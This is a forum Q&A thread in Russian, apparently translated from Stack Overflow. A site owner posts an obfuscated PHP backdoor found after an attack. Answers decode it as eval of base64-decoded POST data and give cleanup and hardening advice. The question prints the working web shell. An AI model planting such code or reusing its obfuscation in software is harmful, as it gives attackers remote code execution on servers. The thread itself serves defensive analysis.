Подтвердить что ты не робот

Попытка декодирования вируса

Недавно был атакован мой сервер, и я пытался исследовать, как и почему это происходит.

Я нашел очень похожий шаблон в файлах вирусов, который выглядит примерно так: насколько я могу сказать, что он пытается запустить определенный файл?

Кто-нибудь видел что-то подобное, и как мне его интерпретировать? Это просто захват отдельных символов на основе строки $sF?

<?php

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
  eval($s21($s22));
}?>
4b9b3361

Ответ 1

Переменная $s21 равна base64_decode, а $s22 равна $_POST['nd335c3'].

Всякий раз, когда на ваш сервер отправляется запрос POST, он выполняет любую команду в $_POST['nd335c3'];, которая, как вы можете ожидать, очень опасна.

Я очень сомневаюсь, что ваш сервер был взломан, но вместо этого был использован ваш сайт script. Есть ли где-нибудь на вашем сайте, где пользователи могут загружать файлы? Я видел много таких вещей, как это с WordPress с плохо закодированными плагинами.

Фиксация проблемы

Чтобы устранить проблему, сначала удалите этот файл или раздел кода. Вы можете отключить свой сайт и поместить его в режим обслуживания, пока не сможете выполнить поиск и проверить, что все другие файлы не были изменены.

После того, как сайт будет загружен и запущен, зарегистрируйте запросы, сделанные там, где находился взломанный файл, или запросы, содержащие эту же переменную POST.

Как только у вас есть пользователь, который отправляет данные на эксплойт, вы можете проверить все остальные файлы журналов и сравнить их с тем же IP-адресом и агентом пользователя. Это далеко, но, надеюсь, они используют только один компьютер для атаки. Из журналов вы можете увидеть, что именно они посетили, чтобы, возможно, выполнить атаку и загрузить загруженный файл.

Предотвращение этого в будущем

  • Не устанавливайте какой-либо код, который вы найдете онлайн на своем сайте, если вы не доверяете разработчику и не считаете его полностью защищенным и не знаете, что они выпускают обновления.
  • Установите веб-сервер, чтобы он не имел доступа к записи, кроме каталога загрузки, и /tmp
  • Проверьте все загруженные файлы, чтобы убедиться, что они именно то, что вы ожидаете от них.
  • Не разрешайте PHP запускать файлы, на которые загружаются файлы, загружать файлы как статические прямые файлы. Таким образом, если файл был загружен в обход проверок вашего файла, он все равно не может навредить.

Ответ 2

Просто следуйте за базой кодирования кода в строке $sF, и вы увидите, что

$21 = "base64_decode";
$22 = "_POST['nd335c3']";

и остальная часть кода, в основном проверьте, существует ли _POST ['nd335c3'] и если это так выполняется PHP-код: base64_decode(_POST['nd335c3']);

что сделано дальше, я не могу знать, так как вы не отобразили весь код вируса.

Надеюсь, что это поможет.

Ответ 3

Очень хороший вирус. Вышеприведенные ответы, похоже, объясняют достаточно хорошо, но, возможно, теперь вы можете понять PHP лучше. Вы можете видеть, как PHP довольно дружелюбен к вирусу, но это одна из вещей, которая делает ее настолько универсальной и такой классной, что может использоваться для многих вещей.
несколько менее злонамеренный пример обфускации кода:

<?php

$v1 = "sartvuhi_";
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8];
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8];
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0];

echo $v2 . $v3 . $v4;
?>